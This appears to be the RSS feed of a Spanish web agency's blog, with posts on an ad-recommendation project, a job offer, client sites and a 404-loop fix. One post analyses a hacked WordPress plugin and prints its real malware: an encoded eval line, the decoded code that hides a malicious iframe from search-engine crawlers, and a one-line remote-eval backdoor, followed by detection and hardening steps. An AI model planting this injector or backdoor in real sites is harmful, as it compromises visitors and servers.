<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>onestic &#187; admin</title>
	<atom:link href="http://onestic.com/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://onestic.com</link>
	<description>blog de onestic</description>
	<lastBuildDate>Thu, 02 Feb 2012 09:40:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>IFashion, proyecto de innovación de publicidad online inteligente que recomienda productos similares</title>
		<link>http://onestic.com/ifashion-proyecto-de-innovacion-de-publicidad-online-inteligente-que-recomienda-productos-similares/</link>
		<comments>http://onestic.com/ifashion-proyecto-de-innovacion-de-publicidad-online-inteligente-que-recomienda-productos-similares/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 17:41:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Onestic]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=1083</guid>
		<description><![CDATA[IFashion es un proyecto en el que Onestic está trabajando en estrecha colaboración con el Instituto Tecnológico AIDO, y presenta una innovación importante en el campo de la publicidad en Internet y en medios audiovisuales por su aplicación como recomendador inteligente de productos mediante procesado de imágenes. En concreto, el proyecto IFashion permitirá la selección [...]]]></description>
			<content:encoded><![CDATA[<p><strong>IFashion </strong>es un proyecto en el que <strong>Onestic </strong>está trabajando en estrecha colaboración con el <a href="http://aido.es/" target="_blank">Instituto Tecnológico AIDO</a>, y presenta una innovación importante en el campo de la publicidad en Internet y en medios audiovisuales por su aplicación como recomendador inteligente de productos mediante procesado de imágenes.</p>

<p>En concreto, el <a href="http://aido.es/proyectos/i/102845/622/ifashion-un-sistema-de-publicidad-online-basado-en-la-recomendacion-inteligente-de-productos-a-traves-del-procesamiento-">proyecto IFashion</a> permitirá la selección e interacción de imágenes o videos al cualquier usuario de Internet, con el objetivo de obtener información, participar en acciones, y tener la posibilidad de comprar productos que esté visualizando en ese momento en el elemento audiovisual.</p>

<p>Este nuevo sistema permitirá realizar el tracking de productos y objetos, con el ambicioso objetivo de conseguir un algoritmo de recomendación de artículos que favorezca el proceso de compra online, aumente la conversión y los ratios de compra, y la satisfacción general del cliente gracias a la sencillez y comodidad en el proceso.</p>

<a href="http://onestic.com/wp-content/uploads/2012/01/captura-chicisimo.png"><img src="http://onestic.com/wp-content/uploads/2012/01/captura-chicisimo-391x310.png" alt="" title="captura-chicisimo" width="250" height="auto" class="alignleft size-large wp-image-1141" /></a>

<p>Como innovación a añadir al abanico de recursos en publicidad online, este sistema tendrá la posibilidad de abrir una nueva vía para <strong><a href="http://onestic.com">potenciar el comercio electrónico en España</a></strong>, especialmente en el caso de marcas fabricantes de moda: Complementar la <strong>presencia online de las marcas</strong>, reforzar acciones de branding, permitir al cliente comprar un producto que esté visualizando en video o imagen en cualquier tipo de <a href="http://onestic.com/servicios/#Tiendas con Magento">plataforma ecommerce</a> son sólo algunas de las posibles aplicaciones que tendrá el proyecto IFashion.</p>


<p>Una de las múltiples integraciones que esta tecnología puede tener lugar lo vemos en sites y comunidades de moda online del estilo de <a href="http://chicisimo.es">Chicisimo.com</a> (donde las usuarias publican fotos de cómo van vestidas y comparten sus gustos), mediante la integración de la venta de productos en los looks gracias al <strong>reconocimiento inteligente de prendas y complementos</strong>.</p>

<p>Este tipo de aplicación de la plataforma <strong>IFashion</strong> no sólo tendrá un <strong>uso directo en comercio electrónico</strong>, proporcionando un canal orgánico de &#8220;social shopping&#8221; al convertir a las usuarias en prescriptoras directas de las marcas, si no que presentará múltiples variantes en lo relativo a la explotación de datos que situarán a IFashion como una plataforma altamente atractiva para las marcas.</p>

<p>Más allá del sector de la moda, la plataforma IFashion tiene aplicaciones en otros sectores como el de la electrónica, la alimentación, bricolaje, mobiliario, etc.</p>

<p>En los próximos meses estará disponible una versión beta para plataformas de comercio electrónico de esta tecnología. Estará especialmente indicado para tiendas online con un extenso catálogo, que quieran disponer de un recomendador avanzado de productos para sus clientes. La adaptación e integración se personalizará en cada proyecto estudiando sus características, la clasificación de productos y los atributos que los definen, así como el comportamiento de los usuarios como cross-selling y  para conseguir un resultado lejos del alcance de otras herramientas disponibles actualmente en el mercado.</p>

<p style="text-align:center"><img class="size-full wp-image-1096 alignnone" src="http://onestic.com/wp-content/uploads/2012/01/IFashion-caso-de-uso-moda-460x310.png" alt="" title="IFashion-caso-de-uso-moda" width="80%" height="auto" style="margin:0 20px" /></p>

<p>Este proyecto ha sido financiado por el Instituto de la Pequeña y Mediana Industria de la Generalitat Valenciana (<a href="http://www.impiva.es" target="_blank">IMPIVA</a>) y por el Fondo Europeo de Desarrollo Regional de la Unión Europea (<a href="http://europa.eu/legislation_summaries/employment_and_social_policy/job_creation_measures/l60015_es.htm" target="_blank">FEDER</a>).</p>

<p><a href="http://impiva.es/" target="_blank"><img class="size-full wp-image-1096 alignnone" title="impiva" src="http://onestic.com/wp-content/uploads/2012/01/impiva.jpg" alt="" width="200" height="37" /></a><a href="http://europa.eu/legislation_summaries/employment_and_social_policy/job_creation_measures/l60015_es.htm" target="_blank"><img class="size-full wp-image-1095 alignright" title="feder" src="http://onestic.com/wp-content/uploads/2012/01/feder.jpg" alt="" width="180" height="72" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://onestic.com/ifashion-proyecto-de-innovacion-de-publicidad-online-inteligente-que-recomienda-productos-similares/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Puerta trasera en el plugin de wp-phpmyadmin</title>
		<link>http://onestic.com/puerta-trasera-en-el-plugin-de-wp-phpmyadmin/</link>
		<comments>http://onestic.com/puerta-trasera-en-el-plugin-de-wp-phpmyadmin/#comments</comments>
		<pubDate>Mon, 22 Aug 2011 10:22:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=1061</guid>
		<description><![CDATA[En los últimos meses hemos sido testigos de un ataque similar sobre algunos blogs a los que tenemos acceso. WordPress hackeado, con un iframe al comienzo de las páginas y que los buscadores no detectaban como página peligrosa. Sólo algunos antivirus de los usuarios se daban cuenta del ataque. Y el culpable (o donde residía [...]]]></description>
			<content:encoded><![CDATA[En los últimos meses hemos sido testigos de un <strong>ataque </strong>similar sobre  algunos blogs a los que tenemos acceso. <strong>WordPress hackeado</strong>, con un  <strong>iframe al comienzo de las páginas</strong> y que los buscadores no detectaban  como página peligrosa. Sólo algunos antivirus de los usuarios se daban  cuenta del ataque. Y el culpable (o donde residía la backdoor) era el plugin de wp-phpmyadmin.<br/><br/>

El plugin de <strong>wp-phpmyadmin</strong> tiene una utilidad importante cuando no tienes acceso de otro modo a la base de datos de tu instalación de WordPress. Pero el precio que se puede pagar por usarlo, después de haber comprobado la <strong>vulnerabilidad</strong> que trae consigo, es bastante alto.<br/><br/>

El plugin no se actualiza desde el 2007 (con wp 1.5), no se puede encontrar en el repositorio oficial de plugins de WordPress (<a href="http://wordpress.org/extend/plugins/" target="_blank">http://wordpress.org/extend/plugins/</a>), y lo más importante: se había conseguido introducir un fichero dentre el resto de ficheros del plugin que abría una puerta trasera a nuestro sistema.<br/><br/>

Pero vamos por partes y a explicar cómo funciona este <strong>hack de WordPress</strong> con detalle:<br/><br/>

El ataque consistía en introducir en los ficheros index.php una línea justo detrás del primer &lt;?php . Aquí tenemos un ejemplo:<br/><br/>

<pre class="brush: php; title: ;">
&lt;?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly8yZ3V2a2w1NW9mLmNvLnR2Lz9nbz0xIiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2lmcmFtZT4nOw0KfQ==');
</pre>

Este código codificado, daba el siguiente fragmento de php tras decodificarlo, fragmento que acababa pintando un <strong>iframe antes de la etiqueta &lt;?html&gt;?</strong> en los blog al pasarlo por la función eval():<br/><br/>

<pre class="brush: php; title: ;">
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
 array(&quot;216.239.32.0&quot;,&quot;216.239.63.255&quot;),
 array(&quot;64.68.80.0&quot;  ,&quot;64.68.87.255&quot;  ),
 array(&quot;66.102.0.0&quot;,  &quot;66.102.15.255&quot;),
 array(&quot;64.233.160.0&quot;,&quot;64.233.191.255&quot;),
 array(&quot;66.249.64.0&quot;, &quot;66.249.95.255&quot;),
 array(&quot;72.14.192.0&quot;, &quot;72.14.255.255&quot;),
 array(&quot;209.85.128.0&quot;,&quot;209.85.255.255&quot;),
 array(&quot;198.108.100.192&quot;,&quot;198.108.100.207&quot;),
 array(&quot;173.194.0.0&quot;,&quot;173.194.255.255&quot;),
 array(&quot;216.33.229.144&quot;,&quot;216.33.229.151&quot;),
 array(&quot;216.33.229.160&quot;,&quot;216.33.229.167&quot;),
 array(&quot;209.185.108.128&quot;,&quot;209.185.108.255&quot;),
 array(&quot;216.109.75.80&quot;,&quot;216.109.75.95&quot;),
 array(&quot;64.68.88.0&quot;,&quot;64.68.95.255&quot;),
 array(&quot;64.68.64.64&quot;,&quot;64.68.64.127&quot;),
 array(&quot;64.41.221.192&quot;,&quot;64.41.221.207&quot;),
 array(&quot;74.125.0.0&quot;,&quot;74.125.255.255&quot;),
 array(&quot;65.52.0.0&quot;,&quot;65.55.255.255&quot;),
 array(&quot;74.6.0.0&quot;,&quot;74.6.255.255&quot;),
 array(&quot;67.195.0.0&quot;,&quot;67.195.255.255&quot;),
 array(&quot;72.30.0.0&quot;,&quot;72.30.255.255&quot;),
 array(&quot;38.0.0.0&quot;,&quot;38.255.255.255&quot;)
 );
$my_ip2long = sprintf(&quot;%u&quot;,ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
 $first_d=sprintf(&quot;%u&quot;,ip2long($IPs[0])); $second_d=sprintf(&quot;%u&quot;,ip2long($IPs[1]));
 if ($my_ip2long &gt;= $first_d &amp;&amp; $my_ip2long &lt;= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
 if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '&lt;iframe src=&quot;http://2guvkl55of.co.tv/?go=1&quot; width=&quot;1&quot; height=&quot;1&quot;&gt;&lt;/iframe&gt;';
}
</pre>

Este iframe se intentaba ocultar a los robots de los buscadores y de rastreadores importantes para evitar que saltasen las alarmas de estos, y pusiesen en aviso al dueño del blog mediante alarmas al correo electrónico, bloqueos de su página desde la página de resultados de búsqueda, etc. Así podía permanecer el mayor tiempo posible estando oculto.<br/><br/>

El contenido del iframe cargaba una direccion de un servidor (todos los distintos dominios que hemos podido comprobar estaban en Rumanía), donde se podía pintar cualquier cosa, seguramente<strong> troyanos javascript</strong> que comprometiesen la seguridad del usuario que visitase la web.<br/><br/>

<br/><br/><h3>Cómo saber si tengo esta puerta trasera en mi sistema, y como solucionarlo (detección, solución y prevención):</h3><br/>

- Comprobar si tenemos el plugin de <strong>wp-phpmyadmin</strong>, y buscar el fichero <strong>phpmyadmin/upgrade.php</strong> dentro del mismo. Renombrar la extensión o eliminar este fichero, sobre todo si tiene dentro unas instrucciones parecida a estas:<br/><br/>

<pre class="brush: php; title: ;">
&lt;?php if(isset($_REQUEST[&quot;asc&quot;]))eval(stripslashes($_REQUEST[&quot;asc&quot;])); ?&gt;
</pre>

- Buscar en el resto de ficheros de wp-content la cadena &#8216;<strong>eval(stripslashes</strong>&#8216; (por ejemplo), y comprobar en los resultados si alguno se parece a la línea anterior.<br/><br/>

- Mantener una<strong> política estricta de permisos</strong> sobre los ficheros de la instalación de WordPress. Si los ficheros index.php hubiesen estado correctamente configurados en cuanto a permisos, tal y como aconsejan en <a href="http://codex.wordpress.org/Hardening_WordPress" target="_blank">http://codex.wordpress.org/Hardening_WordPress</a> la infección se hubiese podido evitar.<br/><br/>

- Por supuesto, mantener nuestros <strong>plugins actualizados</strong>, junto con la <strong>última versión de WordPress siempre instalada</strong>. Y si alguno de los plugins deja de tener soporte o no se continúa su desarrollo, mejor optar por descartarlo y comenzar a buscar un sustituto del mismo.<br/><br/>

Más info:<br/><br/>

<a href="http://blog.sucuri.net/2011/06/wp-phpmyadmin-wordpress-plugin-delete-it-now.html" target="_blank">http://blog.sucuri.net/2011/06/wp-phpmyadmin-wordpress-plugin-delete-it-now.html</a><br/><br/>

<a href="http://www.wpsecuritylock.com/wp-phpmyadmin-plugin-hacked-backdoor-vulnerability/" target="_blank">http://www.wpsecuritylock.com/wp-phpmyadmin-plugin-hacked-backdoor-vulnerability/</a><br/><br/>

Especial cuidado también con los plugins wptouch, addthis y w3-total-cache:<br/><br/>
<a href="http://wpmu.org/wordpress-security-exploit-found-upgrade-wptouch-addthis-and-w3-total-cache/" target="_blank">http://wpmu.org/wordpress-security-exploit-found-upgrade-wptouch-addthis-and-w3-total-cache/</a><br/><br/>]]></content:encoded>
			<wfw:commentRss>http://onestic.com/puerta-trasera-en-el-plugin-de-wp-phpmyadmin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Se buscan programadores PHP+MySQL, con conocimientos de Magento y/o WordPress.</title>
		<link>http://onestic.com/programadores-php-mysql-magento-wordpress/</link>
		<comments>http://onestic.com/programadores-php-mysql-magento-wordpress/#comments</comments>
		<pubDate>Mon, 06 Sep 2010 14:21:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Ofertas Empleo]]></category>
		<category><![CDATA[empleo]]></category>
		<category><![CDATA[magento]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=928</guid>
		<description><![CDATA[Estamos buscando para incorporar a nuestra plantilla varios perfiles de programadores, estos son los requisitos que buscamos si encajas, mándanos tu CV a info@onestic.com junto con tu portfolio de trabajos realizados. Experimentado en PHP5/MySQL, acostumbrado a trabajar con SVN Indispensable buen nivel de Magento y/o WordPress Perfil de un finalizador/rematador comprometido con los tiempos de [...]]]></description>
			<content:encoded><![CDATA[
<p>Estamos buscando para incorporar a nuestra plantilla varios perfiles de programadores, estos son los requisitos que buscamos si encajas, mándanos tu CV a <a href="mailto:info@onestic.com">info@onestic.com</a> junto con tu portfolio de trabajos realizados.</p>
<ul>
	<li>Experimentado en PHP5/MySQL, acostumbrado a trabajar con SVN</li>
	<li>Indispensable buen nivel de Magento y/o WordPress</li>
	<li>Perfil de un finalizador/rematador comprometido con los tiempos de entrega.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://onestic.com/programadores-php-mysql-magento-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Observa Producciones</title>
		<link>http://onestic.com/observa-producciones/</link>
		<comments>http://onestic.com/observa-producciones/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 17:17:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[Proyectos en progreso]]></category>
		<category><![CDATA[web corporativa]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=851</guid>
		<description><![CDATA[Web corporativa para la empresa valenciana Observa Producciones, dedicada a trabajos audiovisuales para particulares y empresas. En la web se muestran videos de canales de Youtube y Vimeo, galerías de fotos, integración con Twitter, Facebook, etc. Proyecto realizado con WordPress.]]></description>
			<content:encoded><![CDATA[Web corporativa para la empresa valenciana Observa Producciones, dedicada a trabajos audiovisuales para particulares y empresas.

En la web se muestran videos de canales de Youtube y Vimeo, galerías de fotos, integración con Twitter, Facebook, etc.

Proyecto realizado con WordPress.]]></content:encoded>
			<wfw:commentRss>http://onestic.com/observa-producciones/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress, imagen no encontrada, error 404 y el bucle infinito</title>
		<link>http://onestic.com/wordpress-imagen-no-encontrada-error-404-y-el-bucle-infinito/</link>
		<comments>http://onestic.com/wordpress-imagen-no-encontrada-error-404-y-el-bucle-infinito/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 15:52:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[404]]></category>
		<category><![CDATA[bucle infinito]]></category>
		<category><![CDATA[not found error]]></category>
		<category><![CDATA[rewrite rules]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=758</guid>
		<description><![CDATA[La personalización de las páginas de error en WordPress es cómoda y sencilla. La página de error más socorrida en las plantillas de WordPress es la del error 404 o &#8220;not found&#8221;. Esta página se muestra cuando se ha intentado acceder a una url para la que no existe contenido. Los más astutos aprovechan esta [...]]]></description>
			<content:encoded><![CDATA[La personalización de las <strong>páginas de error en WordPress</strong> es cómoda y sencilla. La página de error más socorrida en las plantillas de WordPress es la del error <strong>404 </strong>o &#8220;not found&#8221;. Esta página se muestra cuando se ha intentado acceder a una url para la que no existe contenido. Los más astutos aprovechan esta página para ofrecer al usuario <strong>enlaces a contenido relacionado</strong> con el que ha intentado encontrar para evitar que el usuario abandone la web. Otros simplemente muestran un texto indicando que no se ha encontrado el contenido buscado, dentro de una página que mantiene el estilo del resto de la web.

Pero pensemos que este error se dará para cualquier url errónea en el navegador, tanto si es una página como si es una imágen o un documento. Ahora pensemos que alguna de las <strong>imágenes </strong>de nuestro <strong>tema </strong>no se referencia bien desde la <strong>plantilla de WordPress</strong> o simplemente no exista en el servidor, dando un error <strong>404</strong>. Siempre que se muestre alguna página de nuestra plantilla que tenga esta imagen, se generará un error <strong>404 </strong>y se renderizará en el servidor la página de <strong>error 404 de WordPress</strong>. Esto hace que <strong>aumente nuestra carga de servidor</strong> innecesariamente y también <strong>el tiempo de carga de la página</strong>, ya que en lugar de mandarse un mensaje escueto desde el servidor con el error <strong>404 </strong>para la petición de esta imagen, se está mandando una página entera con todos los estilos. Esto se puede ver más claro con firebug:

<img class="alignleft size-large wp-image-760" title="captura-404" src="http://onestic.com/wp-content/uploads/2010/01/captura-4041-611x198.jpg" alt="" width="611" height="198" />

Sólo<strong> por minimizar la carga del servidor</strong> ya merece la pena hacer algo a este respecto, pero ahora imaginemos otro escenario en el que esta imagen que falta está referenciada en el footer, el sidebar o el header, y siempre que pidamos una página de wordpress se hará una petición a esta imagen inexistente (incluida la de 404). Entonces nos podemos encontrar con un <strong>bucle infinito</strong>: Se accede a una página: Se pide la imagen-> 404: Se vuelve a pedir la imagen -> 404: Se vuelve a pedir la imagen&#8230; Y así hasta que se sature el servidor web si ninguna opción de seguridad lo evita antes.

Para <strong>solucionar este problema</strong> tan sólo debemos <strong>añadir un par de líneas a nuestro fichero .htaccess</strong> Redordad que las directrices del .htaccess se procesan en orden, por lo que conviene ponerla antes de las demás <strong>Rewrite Rules</strong>. Con estas líneas indicaremos que si se encuentra ante una <strong>petición http</strong> a una imagen que no exista, devuelva en su lugar cualquier otro elemento que nosotros le indiquemos y que sí esté disponible. Podemos indicar más tipos de fichero si lo consideramos oportuno:

[CODE]RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_URI} \.(gif|jpg|jpeg|png|bmp)$
RewriteRule .* wp-content/themes/mi_tema/404.html [L][/CODE]

Entre las diferentes opciones que tenemos a nuestra disposición, podemos <strong>devolver una imagen de 1&#215;1 píxeles</strong>, aumentando la velocidad de carga de la página, o podemos <strong>incluir una imagen por defecto</strong> con el logo de la página (con cuidado, porque esta opción puede descuadrarnos el tema). También podemos devolver una <strong>página de error más básica </strong>que la de la plantilla, y<strong> en html estático</strong>.

A pesar de que nos hemos puesto en el peor caso, esto no es lo habitual. Este tipo de errores de imágenes no encontradas se observa con más frecuencia en la redacción de posts que en la implementación del tema. Pero una migración de servidor, una limpieza de los ficheros subidos a WordPress o un cambio de directorio pueden ocasionar que estos errores aparezcan de la noche a la mañana.]]></content:encoded>
			<wfw:commentRss>http://onestic.com/wordpress-imagen-no-encontrada-error-404-y-el-bucle-infinito/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Nuevo diseño en and.roid.es</title>
		<link>http://onestic.com/nuevo-diseno-en-and-roid-es/</link>
		<comments>http://onestic.com/nuevo-diseno-en-and-roid-es/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 12:12:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Onestic]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[and.roid.es]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[diseño]]></category>
		<category><![CDATA[plantilla]]></category>
		<category><![CDATA[tema wordpress]]></category>
		<category><![CDATA[theme]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=627</guid>
		<description><![CDATA[Año nuevo, tema nuevo para wordpress que hemos hecho para nuestros amigos de and.roid.es. Se trata de un rediseño completo de la web de and.roid.es manteniendo la naturaleza de la navegación entre post (artículos anteriores y posteriores en portada y en el detalle de cada uno), buscando ofrecer una imagen más profesional y un estilo [...]]]></description>
			<content:encoded><![CDATA[Año nuevo, tema nuevo para wordpress que hemos hecho para nuestros amigos de <a title="diseño theme plantila tema wordpress de onestic para and.roid.es" href="http://and.roid.es" target="_blank">and.roid.es</a>.

Se trata de un rediseño completo de la web de <a title="diseño theme plantila tema wordpress de onestic para and.roid.es" href="http://and.roid.es/" target="_blank">and.roid.es</a> manteniendo la naturaleza de la navegación entre post (artículos anteriores y posteriores en portada y en el detalle de cada uno), buscando ofrecer una imagen más profesional y un estilo más elegante.

Junto con la gente de <a title="diseño theme plantila tema wordpress de onestic para and.roid.es" href="http://and.roid.es/" target="_blank">and.roid.es</a>, y a partir su esquema inicial y de sus preferencias, nuestro diseñador David imaginó este template para wordpress al  que le hemos incluido elementos del tema anterior para completar su funcionalidad y usabilidad.

Hemos intentado dar más importancia a la versión más social de <a title="diseño theme plantila tema wordpress de onestic para and.roid.es" href="http://and.roid.es/" target="_blank">and.roid.es</a> y a su comunidad con la inclusión del último tweet, mostrando el número de lectores del feed y el número de followers de @androides y los links sociales en la cabecera. Para el recuento de seguidores y followers usamos directamente la api de Feedburner y la de Twitter, y guardamos los datos durante un tiempo para acelerar la carga de la página aprovechando la caché de wordpress y minimizando a su vez los accesos a estas fuentes externas de información.

También se aprovecha el uso de plugins de compresión de css y javascript, que ya estaban siendo usado en el blog.

Incluimos en la home un pequeño slideshow para añadir dinamismo y darle vistosidad a la web.

Ahora mismo (Enero 2010) está activa una encuesta donde puedes votar qué te parece el nuevo diseño de <a title="diseño theme plantila tema wordpress de onestic para and.roid.es" href="http://and.roid.es/" target="_blank">and.roid.es</a>, incluso si no conoces el diseño anterior.

¡De momento gusta, y mucho!]]></content:encoded>
			<wfw:commentRss>http://onestic.com/nuevo-diseno-en-and-roid-es/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Limpiomicasita</title>
		<link>http://onestic.com/limpiomicasita/</link>
		<comments>http://onestic.com/limpiomicasita/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 15:08:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[Proyectos en progreso]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=256</guid>
		<description><![CDATA[Proyecto donde se han cuidado al máximo los detalles gráficos. Todos los elementos han sido diseñados de forma exclusiva. El ratón, los escenarios, los iconos, etc. Se trata de un proyecto donde se pueden ver Recetas de cocina, trucos de limpieza, etc. Página completamente administrable y optimizada.]]></description>
			<content:encoded><![CDATA[Proyecto donde se han cuidado al máximo los detalles gráficos. Todos los elementos han sido diseñados de forma exclusiva. El ratón, los escenarios, los iconos, etc.
Se trata de un proyecto donde se pueden ver Recetas de cocina, trucos de limpieza, etc. Página completamente administrable y optimizada.]]></content:encoded>
			<wfw:commentRss>http://onestic.com/limpiomicasita/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
